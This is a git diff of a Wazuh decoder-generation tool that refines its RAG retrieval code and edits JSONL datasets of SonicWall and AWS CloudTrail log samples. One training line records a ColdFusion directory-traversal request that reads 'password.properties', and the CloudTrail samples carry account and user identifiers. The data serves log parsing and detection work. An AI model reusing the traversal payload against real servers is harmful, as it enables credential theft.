_parse_feedback_jsonl(jsonl_path: Path) -> List[Dict[str, Any]]: if obj.get("approved") is False: continue + # Skip synthetic records mined from rejection notes (build_dataset.py + # load_rejection_records): these are free-text human corrections, not + # verified real decoders, and must never be surfaced to the LLM + # prompt as a "Retrieved Real Wazuh Decoder Example". + if obj.get("source") == "rejection_corrected": + continue + log_line = obj.get("log", "") decoder = obj.get("decoder", {}) if not decoder: @@ -341,7 +461,7 @@ def build_store(force: bool = False) -> Dict[str, Any]: metadatas=[ { "decoder_xml": d["decoder_xml"][:MAX_XML_CHARS], - "fields": json.dumps(d.get("fields", []))[:500], + "fields": _encode_fields(d.get("fields", [])), "log_example": d.get("log_example", "")[:300], "source": d.get("source", "")[:100], } @@ -360,17 +480,39 @@ def build_store(force: bool = False) -> Dict[str, Any]: def get_status() -> Dict[str, Any]: - """Return the current status of the RAG store.""" - if _collection is None: - return {"ready": False, "count": 0, "store_dir": str(_RAG_STORE_DIR)} - try: - count = _collection.count() + """Return the current status of the RAG store. + + Lazily attaches to the store, the same way retrieve() does. Without this, + the endpoint reported ready=False/count=0 in any worker that hadn't served a + retrieval yet, and kept reporting it after an out-of-process rebuild + invalidated the cached handle -- so status disagreed with what retrieval + would actually return. + """ + global _collection + + def _describe(count: int) -> Dict[str, Any]: return { "ready": count > 0, "count": count, "store_dir": str(_RAG_STORE_DIR), "model": str(_SBERT_MODEL_DIR) if _SBERT_MODEL_DIR.exists() else "all-MiniLM-L6-v2", } + + try: + if _collection is not None: + return _describe(_collection.count()) + except Exception as exc: + # A rebuild elsewhere can leave this handle pointing at a dropped + # collection; fall through and re-attach rather than reporting empty. + logger.info(f"RAG: cached collection handle stale ({exc}); re-attaching") + _collection = None + + result = build_store(force=False) + if result.get("status") != "ok" or _collection is None: + return {"ready": False, "count": 0, "store_dir": str(_RAG_STORE_DIR), + "error": result.get("message", "store unavailable")} + try: + return _describe(_collection.count()) except Exception as e: return {"ready": False, "count": 0, "error": str(e)} @@ -411,10 +553,16 @@ def retrieve( query_parts.append("fields:" + " ".join(fields)) query = " ".join(query_parts) + # Sibling decoders in one file share a log sample, so a raw top_k often + # comes back as the same log three times with fragmentary lists — + # the prompt pays for three examples and teaches one. Over-fetch, then keep + # the best-scoring doc per distinct log sample. + fetch_k = min(max(top_k * 6, top_k), _collection.count()) + try: results = _collection.query( query_texts=[query], - n_results=min(top_k, _collection.count()), + n_results=fetch_k, include=["metadatas", "distances"], ) except Exception as e: @@ -425,17 +573,37 @@ def retrieve( metadatas = results.get("metadatas", [[]])[0] distances = results.get("distances", [[]])[0] + seen_examples: set = set() for meta, dist in zip(metadatas, distances): decoder_xml = meta.get("decoder_xml", "") if not decoder_xml: continue + + log_example = meta.get("log_example", "") + # Only dedupe when there IS a sample to dedupe on; several docs with no + # example are still distinct decoders and shouldn't collapse into one. + if log_example: + if log_example in seen_examples: + continue + seen_examples.add(log_example) + + # A store written before _encode_fields existed can still hold a + # truncated array; a malformed field list is not worth failing the + # whole retrieval over. + try: + doc_fields = json.loads(meta.get("fields", "[]")) + except (json.JSONDecodeError, TypeError): + doc_fields = [] + docs.append({ "decoder_xml": decoder_xml, - "log_example": meta.get("log_example", ""), - "fields": json.loads(meta.get("fields", "[]")), + "log_example": log_example, + "fields": doc_fields, "source": meta.get("source", ""), "score": round(1.0 - float(dist), 3), # convert distance to similarity }) + if len(docs) >= top_k: + break return docs diff --git a/integrations/wazuh_decoder_rule_tool/data/datasets/train.jsonl b/integrations/wazuh_decoder_rule_tool/data/datasets/train.jsonl index 3eea2a3a..68dedf07 100644 --- a/integrations/wazuh_decoder_rule_tool/data/datasets/train.jsonl +++ b/integrations/wazuh_decoder_rule_tool/data/datasets/train.jsonl @@ -83,7 +83,6 @@ {"log": "2015-03-11 22:01:59 GET /CFIDE/adminapi/customtags/l10n.cfm attributes.id=test&attributes.file=../../administrator/mail/download.cfm&filename=../lib/password.properties&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=test 443 31.3.3.7 - 2", "target_text": "web-accesslog-iis-default windows-date-format action url srcport srcip user_agent id decoders/0380-windows_decoders.xml", "source": "augmented_dropout"} {"log": "Dec 19 17:20:08 ubuntu test_osregex_16[12345]:test_srcgeoip 194.69.224.10", "target_text": "test_osregex_16", "source": "augmented_dropout"} {"log": "Dec 19 17:20:08 User test_different_filters[12345]:Test different_status 'Srcuser' 'User' logged from 192.168.1.100:8 to 192.168.5.4:20 pro:ftp act:remove id:1 url:ossec dat:huzaw e_data:hwazu sta:rejected systemname:system1", "decoder": {"name": "test_different_filters", "source": "test_static_filters.ini"}, "rule": {"id": "999258", "description": "different_fields: different_status"}, "target_text": "test_different_filters"} -{"log": "[2026-04-29T04:29:06,056][INFO ][o.o.s.s.c.FlintStreamingJobHouseKeeperTask] [node-1] Starting housekeeping task for auto refresh streaming jobs.", "decoder": {"name": "myapp-event", "parent": "myapp", "prematch": "myapp", "regex": "It should be corrected like this", "order": [], "source_file": "feedback/corrections"}, "target_text": "myapp it should be corrected like this", "source": "rejection_corrected"} {"log": "Dec 19 17:20:08 User test_same_filters[12345]:Test same_data 'Srcuser' 'User' logged from 192.168.1.100:8 to 192.168.5.4:20 pro:ftp act:remove id:1 url:ossec dat:cesso e_data:hwazu sta:rejected systemname:system1", "decoder": {"name": "test_same_filters", "source": "test_static_filters.ini"}, "rule": {"id": "999228", "description": "same_fields: same_data"}, "target_text": "test_same_filters"} {"log": "Dec 19 17:20:08 hostname test_expr_negation_predec_fields[123]: test_data system_name data_2", "decoder": {"name": "test_expr_negation_predec_fields", "source": "test_expr_negation.ini"}, "rule": {"id": "0", "description": "expr_negation:data_3"}, "target_text": "test_expr_negation_predec_fields"} {"log": "Dec 19 17:20:08 ubuntu test_pcre2_4[12345]:test_extra_data extra_data_example_9", "target_text": "test_pcre2_4", "source": "augmented_dropout"} @@ -111,7 +110,6 @@ {"log": "Dec 19 17:20:08 User test_same_filters[12345]:Test 'User' logged 192.168.1.100:8 192.168.5.4:20 pro:ftp act:remove id:1 dat:huzaw sta:rejected systemname:system1", "target_text": "test_same_filters", "source": "augmented_dropout"} {"log": "Dec 19 17:20:08 ubuntu test_regex[12345]: regex_id-0", "decoder": {"name": "test_expr_negation_regex", "source": "test_expr_negation.ini"}, "rule": {"id": "999320", "description": "expr_negation:regex_1"}, "target_text": "test_expr_negation_regex"} {"log": "Dec 19 17:20:08 User test_same_filters[12345]:Test same_srcgeoip 'Srcuser' 'User' logged from 2.136.147.146:8 to 192.168.5.4:20 pro:ftp act:remove id:1 url:ossec dat:huzaw e_data:hwazu sta:rejected systemname:system1", "decoder": {"name": "test_same_filters", "source": "test_static_filters_geoip.ini"}, "rule": {"id": "999262", "description": "same_fields: same_srcgeoip"}, "target_text": "test_same_filters"} -{"log": "[2026-04-29T04:29:06,056][INFO ][o.o.s.s.c.FlintStreamingJobHouseKeeperTask] [node-1] Starting housekeeping task for auto refresh streaming jobs.", "decoder": {"name": "myapp-event", "parent": "myapp", "prematch": "myapp", "regex": "It should be corrected like this", "order": [], "source_file": "feedback/corrections"}, "target_text": "myapp it should be corrected like this", "source": "rejection_corrected"} {"log": "Dec 19 17:20:08 User test_same_filters[12345]:Test same_id 'Srcuser' 'User' logged from 192.168.1.100:8 to 192.168.5.4:20 pro:ftp act:remove id:1 url:ossec dat:huzaw e_data:hwazu sta:rejected systemname:system1", "decoder": {"name": "test_same_filters", "source": "test_static_filters.ini"}, "rule": {"id": "999224", "description": "same_fields: same_id"}, "target_text": "test_same_filters"} {"log": "[Sun Nov 23 18:49:01.713508 2014] [:error] [pid 15816] [client 141.8.147.9:51507] PHP Notice: A non well formed numeric value encountered in /path/to/file.php on line 123", "decoder": {"name": "apache-errorlog", "source": "apache.ini"}, "rule": {"id": "30318", "description": "PHP Notices in Apache 2.4 errorlog"}, "decoder_pattern": {"name": "apache-errorlog", "parent": null, "program_name": "^apache2|^httpd", "prematch": null, "regex": null, "order": [], "source_file": "decoders/0025-apache_decoders.xml", "feature_text": "apache-errorlog ^apache2|^httpd decoders/0025-apache_decoders.xml"}, "target_text": "apache-errorlog ^apache2|^httpd decoders/0025-apache_decoders.xml"} {"log": "Dec 19 17:20:08 User test_same_filters[12345]:Test same_protocol 'Srcuser' 'User' logged from 192.168.1.100:8 to 192.168.5.4:20 pro:ssh act:remove id:1 url:ossec dat:huzaw e_data:hwazu sta:rejected systemname:system1", "decoder": {"name": "test_same_filters", "source": "test_static_filters.ini"}, "rule": {"id": "999220", "description": "same_fields: same_protocol"}, "target_text": "test_same_filters"} diff --git a/integrations/wazuh_decoder_rule_tool/data/verified_log_samples.jsonl b/integrations/wazuh_decoder_rule_tool/data/verified_log_samples.jsonl new file mode 100644 index 00000000..692ba01a --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/data/verified_log_samples.jsonl @@ -0,0 +1,1616 @@ +{"log": "id=NSA3600 sn=C0EAE4599999 time=\"2019-02-27 12:55:40 UTC\" fw=2.228.169.242 pri=5 c=0 m=1197 msg=\"NAT Mapping\" n=4748427 src=10.12.14.9::X0-V500 dst=217.56.236.4::X3 proto=icmp note=\"Source: 2.228.169.242, 63130, Destination: 217.56.236.4, 8, Protocol: 1\" rule=\"17 (LAN->WAN)\"", "decoder": "sonicwall", "parent": "", "fields": {"action": "NAT Mapping", "dstip": "217.56.236.4", "protocol": "icmp", "srcip": "10.12.14.9", "status": "5"}, "field_names": ["action", "dstip", "protocol", "srcip", "status"], "rule": "4805", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4805", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall: acl "} +{"log": "id=firewall sn=C0EAE4599999 time=\"2019-02-15 09:45:17 UTC\" fw=2.228.169.242 pri=5 c=512 m=1233 msg=\"Unhandled link-local or multicast IPv6 packet dropped\" n=56642 srcV6=fe80::9851:b780:9d9d:a29e src=:49702:X0-V514 dstV6=ff02::1:3 dst=:5355 srcMac=90:e6:ba:32:5c:45 dstMac=33:33:00:01:00:03 proto=udp/5355", "decoder": "sonicwall", "parent": "", "fields": {"action": "Unhandled link-local or multicast IPv6 packet dropped", "protocol": "udp/5355", "status": "5"}, "field_names": ["action", "protocol", "status"], "rule": "4805", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4805", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall: acl "} +{"log": "id=firewall sn=00301E0526B1 time=\"2004-04-01 10:39:35\" fw=67.32.44.2 pri=5 c=64 m=36 msg=\"TCP connection dropped\" n=2686 src=67.101.200.27:4507:WAN dst=67.32.44.2:445:LAN rule=0", "decoder": "sonicwall", "parent": "", "fields": {"action": "TCP connection dropped", "dstip": "67.32.44.2", "dstport": "445", "srcip": "67.101.200.27", "srcport": "4507", "status": "5"}, "field_names": ["action", "dstip", "dstport", "srcip", "srcport", "status"], "rule": "4805", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4805", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall: acl "} +{"log": "id=NSA3600 sn=C0EAE4599999 time=\"2019-02-27 12:55:40 UTC\" fw=2.228.169.242 pri=5 c=0 m=1197 msg=\"NAT Mapping\" n=4748427 src=10.12.14.100::X0-V500 dst=217.56.236.200::X3 proto=icmp note=\"Source: 2.228.169.242, 63130, Destination: 217.56.236.200, 8, Protocol: 1\" rule=\"17 (LAN->WAN)\"", "decoder": "sonicwall", "parent": "", "fields": {"action": "NAT Mapping", "dstip": "217.56.236.200", "protocol": "icmp", "srcip": "10.12.14.100", "status": "5"}, "field_names": ["action", "dstip", "protocol", "srcip", "status"], "rule": "4805", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4805", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall: acl "} +{"log": "Jan 3 13:45:36 192.168.5.1 id=firewall sn=000SERIAL time=\"2007-01-03 14:48:06\" fw=1.1.1.1 pri=6 c=262144 m=98 msg=\"Connection Opened\" n=23419 src=2.2.2.2:36701:WAN dst=1.1.1.1:50000:WAN proto=tcp/50000", "decoder": "sonicwall", "parent": "", "fields": {"action": "Connection Opened", "dstip": "1.1.1.1", "dstport": "50000", "protocol": "tcp/50000", "srcip": "2.2.2.2", "srcport": "36701", "status": "6"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport", "status"], "rule": "4806", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4806", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac2 "} +{"log": "Jan 3 13:45:36 192.168.5.1 id=firewall sn=000SERIAL time=\"2007-01-03 14:48:06\" fw=1.1.1.1 pri=6 c=262144 m=98 msg=\"Connection Opened\" n=23419 src=2.2.2.200:36701:WAN dst=1.1.1.100:50000:WAN proto=tcp/50000", "decoder": "sonicwall", "parent": "", "fields": {"action": "Connection Opened", "dstip": "1.1.1.100", "dstport": "50000", "protocol": "tcp/50000", "srcip": "2.2.2.200", "srcport": "36701", "status": "6"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport", "status"], "rule": "4806", "level": "0", "expected_decoder": "sonicwall", "expected_rule": "4806", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac2 "} +{"log": "id=NSA3500BR sn=0017C5DFCEEC time=\"2019-03-14 16:37:19 UTC\" fw=172.29.169.2 pri=1 c=32 m=1388 msg=\"IPSec VPN Decryption Failed\" n=1064050271 src=37.186.204.2 dst=172.29.168.2 note=\"Replay check failure.\"", "decoder": "sonicwall", "parent": "", "fields": {"action": "IPSec VPN Decryption Failed", "dstip": "172.29.168.2", "srcip": "37.186.204.2", "status": "1"}, "field_names": ["action", "dstip", "srcip", "status"], "rule": "4801", "level": "8", "expected_decoder": "sonicwall", "expected_rule": "4801", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac3 "} +{"log": "Jan 3 13:45:36 192.168.5.1 id=firewall sn=000SERIAL time=\"2007-01-03 14:48:07\" fw=1.1.1.1 pri=1 c=32 m=30 msg=\"Administrator login denied due to bad credentials\" n=7 src=2.2.2.2:36701:WAN dst=1.1.1.1:50000:WAN", "decoder": "sonicwall", "parent": "", "fields": {"action": "Administrator login denied due to bad credentials", "dstip": "1.1.1.1", "dstport": "50000", "srcip": "2.2.2.2", "srcport": "36701", "status": "1"}, "field_names": ["action", "dstip", "dstport", "srcip", "srcport", "status"], "rule": "4801", "level": "8", "expected_decoder": "sonicwall", "expected_rule": "4801", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac3 "} +{"log": "id=NSA3500BR sn=0017C5DFCEEC time=\"2019-03-14 16:37:19 UTC\" fw=172.29.169.2 pri=1 c=32 m=1388 msg=\"IPSec VPN Decryption Failed\" n=1064050271 src=37.186.204.200 dst=172.29.168.100 note=\"Replay check failure.\"", "decoder": "sonicwall", "parent": "", "fields": {"action": "IPSec VPN Decryption Failed", "dstip": "172.29.168.100", "srcip": "37.186.204.200", "status": "1"}, "field_names": ["action", "dstip", "srcip", "status"], "rule": "4801", "level": "8", "expected_decoder": "sonicwall", "expected_rule": "4801", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac3 "} +{"log": "id=NSA2650GG sn=18B169D79980 time=\"2019-03-18 08:33:45 UTC\" fw=83.211.91.146 pri=3 c=4 m=14 msg=\"Web site access denied\" app=49177 appName=\"General HTTPS\" n=838005 src=192.168.0.62:54993:X0:pc048.example.com dst=151.101.242.49:443:X1 srcMac=c8:9c:dc:fd:9d:02 dstMac=1a:b1:69:d7:99:80 proto=tcp/https dstname=example.com arg=/ code=49 Category=\"Freeware/Software Downloads\"", "decoder": "sonicwall", "parent": "", "fields": {"Category": "Freeware/Software Downloads", "action": "Web site access denied", "app": "49177", "appName": "General HTTPS", "arg": "/", "c": "4", "code": "49", "dst": "151.101.242.49:443:X1", "dstMac": "1a:b1:69:d7:99:80", "dstip": "151.101.242.49", "dstname": "e", "dstport": "443", "fw": "83.211.91.146", "id": "NSA2650GG", "m": "14", "msg": "Web site access denied", "n": "838005", "pri": "3", "proto": "tcp/https", "protocol": "tcp/https", "sn": "18B169D79980", "src": "192.168.0.62:54993:X0:pc048.example.com", "srcMac": "c8:9c:dc:fd:9d:02", "srcip": "192.168.0.62", "srcport": "54993", "status": "3", "time": "2019-03-18 08:33:45", "timezone": "UTC"}, "field_names": ["Category", "action", "app", "appName", "arg", "c", "code", "dst", "dstMac", "dstip", "dstname", "dstport", "fw", "id", "m", "msg", "n", "pri", "proto", "protocol", "sn", "src", "srcMac", "srcip", "srcport", "status", "time", "timezone"], "rule": "4803", "level": "4", "expected_decoder": "sonicwall", "expected_rule": "4803", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac4 "} +{"log": "id=NSA2650GG sn=18B169D79980 time=\"2019-03-19 06:44:01 UTC\" fw=83.211.91.146 pri=3 c=4 m=14 msg=\"Web site access denied\" app=49177 appName=\"General HTTPS\" n=856789 src=192.168.0.46:59668:X0:nb020.example.com dst=34.194.213.204:443:X1:example.com srcMac=a0:ce:c8:13:99:c5 dstMac=1a:b1:69:d7:99:80 proto=tcp/https dstname=example.com arg=/ code=49 Category=\"Freeware/Software Downloads\"", "decoder": "sonicwall", "parent": "", "fields": {"Category": "Freeware/Software Downloads", "action": "Web site access denied", "app": "49177", "appName": "General HTTPS", "arg": "/", "c": "4", "code": "49", "dst": "34.194.213.204:443:X1:example.com", "dstMac": "1a:b1:69:d7:99:80", "dstip": "34.194.213.204", "dstname": "e", "dstport": "443", "fw": "83.211.91.146", "id": "NSA2650GG", "m": "14", "msg": "Web site access denied", "n": "856789", "pri": "3", "proto": "tcp/https", "protocol": "tcp/https", "sn": "18B169D79980", "src": "192.168.0.46:59668:X0:nb020.example.com", "srcMac": "a0:ce:c8:13:99:c5", "srcip": "192.168.0.46", "srcport": "59668", "status": "3", "time": "2019-03-19 06:44:01", "timezone": "UTC"}, "field_names": ["Category", "action", "app", "appName", "arg", "c", "code", "dst", "dstMac", "dstip", "dstname", "dstport", "fw", "id", "m", "msg", "n", "pri", "proto", "protocol", "sn", "src", "srcMac", "srcip", "srcport", "status", "time", "timezone"], "rule": "4803", "level": "4", "expected_decoder": "sonicwall", "expected_rule": "4803", "rule_matches_expected": true, "ini_file": "SonicWall.ini", "section": "SonicWall : ac4 "} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680609784000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": \"AccessDenied\", \"message\": \"User: arn:aws:iam::567970947422:user/joseluis.lopez is not authorized to perform: iam:GetServiceLinkedRoleDeletionStatus on resource: arn:aws:iam::567970947422:role/aws-service-role/eks-nodegroup.amazonaws.com/AWSServiceRoleForAmazonEKSNodegroup because no identity-based policy allows the iam:GetServiceLinkedRoleDeletionStatus action\"}, \"operation\": \"GetServiceLinkedRoleDeletionStatus\", \"request\": {\"uid\": \"c843b04d-e7b4-4b0c-bd69-b2ebad898d52\"}, \"version\": null, \"service\": {\"name\": \"iam.amazonaws.com\"}}, \"ref_event_uid\": \"cbd70933-0003-42cd-9688-4af05b13fde0\", \"src_endpoint\": {\"uid\": null, \"ip\": \"62.117.187.171\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"joseluis.lopez\", \"uid\": \"AIDAYIPNU4FPDJPJKPTHV\", \"uuid\": \"arn:aws:iam::567970947422:user/joseluis.lopez\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPHJDVLMD6\"}, \"session\": {\"created_time\": 1680601962000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"aws-internal/3 aws-sdk-java/1.12.414 Linux/5.10.165-126.735.amzn2int.x86_64 OpenJDK_64-Bit_Server_VM/25.362-b10 java/1.8.0_362 vendor/Oracle_Corporation cfg/retry-mode/standard\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "GetServiceLinkedRoleDeletionStatus", "api.request.uid": "c843b04d-e7b4-4b0c-bd69-b2ebad898d52", "api.response.error": "AccessDenied", "api.response.message": "User: arn:aws:iam::567970947422:user/joseluis.lopez is not authorized to perform: iam:GetServiceLinkedRoleDeletionStatus on resource: arn:aws:iam::567970947422:role/aws-service-role/eks-nodegroup.amazonaws.com/AWSServiceRoleForAmazonEKSNodegroup because no identity-based policy allows the iam:GetServiceLinkedRoleDeletionStatus action", "api.service.name": "iam.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "aws-internal/3 aws-sdk-java/1.12.414 Linux/5.10.165-126.735.amzn2int.x86_64 OpenJDK_64-Bit_Server_VM/25.362-b10 java/1.8.0_362 vendor/Oracle_Corporation cfg/retry-mode/standard", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680601962000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPHJDVLMD6", "identity.user.name": "joseluis.lopez", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPDJPJKPTHV", "identity.user.uuid": "arn:aws:iam::567970947422:user/joseluis.lopez", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "cbd70933-0003-42cd-9688-4af05b13fde0", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "62.117.187.171", "src_endpoint.uid": "null", "time": "1680609784000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99020", "level": "3", "expected_decoder": "json", "expected_rule": "99020", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - CloudTrail - Failed API Operation with error from srcip by user."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290782000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"CreateRole\", \"request\": {\"uid\": \"50ce3d1c-ad17-466f-8724-62c6ed1b61d3\"}, \"version\": null, \"service\": {\"name\": \"monitoring.amazonaws.com\"}}, \"ref_event_uid\": \"7a73c797-75ca-4355-a703-cb88a5259805\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxRecords\\\":100}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290783000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstanceStatus\", \"request\": {\"uid\": \"5df43e93-4a05-497b-bef6-cc30105e028d\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"f751b1d8-8923-4975-9c95-c93a36485e15\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-08f69652bddf329c6\\\"},{\\\"instanceId\\\":\\\"i-0ade6659862bbc885\\\"},{\\\"instanceId\\\":\\\"i-0710bad5b508b7466\\\"},{\\\"instanceId\\\":\\\"i-0d9e76e5b1c5e9074\\\"},{\\\"instanceId\\\":\\\"i-0a7d0c7b4474826c1\\\"},{\\\"instanceId\\\":\\\"i-082b4362d842263ad\\\"}]},\\\"filterSet\\\":{},\\\"includeAllInstances\\\":false}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290785000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstances\", \"request\": {\"uid\": \"59128c45-403a-436e-88ed-894c1fbd252c\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"6e397d33-caf9-4d41-875e-fc05b72ebe9b\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxResults\\\":100,\\\"instancesSet\\\":{},\\\"filterSet\\\":{}}\"], 